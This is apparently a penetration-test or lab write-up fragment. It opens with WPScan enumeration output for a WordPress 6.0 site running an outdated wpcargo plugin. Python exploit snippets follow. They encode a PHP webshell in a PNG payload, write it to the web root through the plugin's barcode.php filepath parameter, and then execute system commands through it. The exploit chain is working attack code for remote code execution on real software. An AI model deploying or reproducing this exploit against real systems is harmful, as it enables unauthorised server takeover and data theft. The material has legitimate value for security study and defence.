[+] XML-RPC seems to be enabled: http://172.22.2.18/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.22.2.18/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Upload directory has listing enabled: http://172.22.2.18/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.22.2.18/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.0 identified (Insecure, released on 2022-05-24). | Found By: Rss Generator (Passive Detection) | - http://172.22.2.18/index.php/feed/, <generator>https://wordpress.org/?v=6.0</generator> | - http://172.22.2.18/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.0</generator>
[+] WordPress theme in use: twentytwentytwo | Location: http://172.22.2.18/wp-content/themes/twentytwentytwo/ | Last Updated: 2023-03-29T00:00:00.000Z | Readme: http://172.22.2.18/wp-content/themes/twentytwentytwo/readme.txt | [!] The version is out of date, the latest version is 1.4 | Style URL: http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2 | Style Name: Twenty Twenty-Two | Style URI: https://wordpress.org/themes/twentytwentytwo/ | Description: Built on a solidly designed foundation, Twenty Twenty-Two embraces the idea that everyone deserves a... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2, Match: 'Version: 1.2'
[+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] wpcargo | Location: http://172.22.2.18/wp-content/plugins/wpcargo/ | Last Updated: 2023-08-26T14:28:00.000Z | [!] The version is out of date, the latest version is 6.13.3 | | Found By: Urls In Homepage (Passive Detection) | | Version: 6.x.x (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://172.22.2.18/wp-content/plugins/wpcargo/readme.txt
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
# This is a magic string that when treated as pixels and compressed using the png # algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels. requests.get( f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php" )
# We have uploaded a webshell - now let's use it to execute a command. print(requests.post( f"{destination_url}webshell.php?1=system", data={"2": cmd} ).content.decode('ascii', 'ignore'))
